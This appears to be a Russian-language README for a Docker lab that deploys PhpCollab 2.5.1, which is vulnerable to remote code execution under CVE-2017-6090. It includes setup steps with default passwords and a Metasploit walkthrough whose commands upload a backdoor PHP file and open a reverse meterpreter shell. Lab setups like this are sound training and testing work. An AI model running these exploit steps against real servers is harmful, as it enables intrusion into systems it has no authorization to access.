
Containerized exploitable PhpCollab
Этот проект создаёт контейнер с PhpCollab 2.5.1, содержащий уязвимость удалённого выполнения кода, описанную в CVE-2017-6090. Кроме того, прилагается файл docker-compose для запуска этого контейнера и mysql для демонстрации. Инструкции по эксплуатации — ниже.
docker build -t имя_контейнера . или используйте образ jlkinsel/exploit-cve-2017-6090
Проще всего запустить это с помощью приложенного файла docker-compose.yml. Если в какой-то момент мне станет скучно — или кто-то проявит интерес — я создам развёртывание Kubernetes или helm-чарт.
Итак, чтобы всё запустить:
docker-compose up
Пока всё хорошо! Теперь нужно настроить phpcollab для работы с базой данных и задать пароль администратора по умолчанию. Я (мельком) пытался автоматизировать это, но... ну... вы выглядите как тот, кто умеет пользоваться браузером...
В конце вы сможете войти и осмотреться, но для эксплуатации это не обязательно.
Обратите внимание: эта docker-композиция ничего особенного не делает для
хранения данных. Если вы хотите сохранять базу данных mysql, вам придётся
добавить определение тома в определение сервиса mysql в
docker-compose.yml. Примеры смотрите на странице mariadb на Docker Hub.
Сначала выполните шаги Запуск и настройка выше, чтобы приложение заработало.
Я не добавлял эксплойт в этот проект, потому что, ну, Metasploit.
Новичок в MSF? Вот краткий обзор эксплуатации контейнера, который мы только что запустили:
docker run -ti --network exploitcve20176090_default remnux/metasploit
Это займёт несколько минут. Страница remnux/metasploit на Docker Hub рассказывает об использовании томов, чтобы в будущем это не занимало столько времени. Но мы здесь и сейчас!
Как только получите приглашение командной строки, продолжаем:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
На этом этапе вы внутри, и веселье начинается.
Если имя этой директории отличается от "exploit-CVE-2017-6090", вам придётся изменить команду --network выше.
Также — да, мы устанавливаем удалённый порт 80 в msfconsole, хотя снаружи это 8088. Контейнер metasploit находится в той же сети, что и контейнер phpcollab.
| Поле | Значение |
|---|
| Database server | mysql |
| Database login | phpcollab |
| Database password | changeme |
| Database name | phpcollab |
| Notifications | False |
| Admin password | changeme (или любой другой) |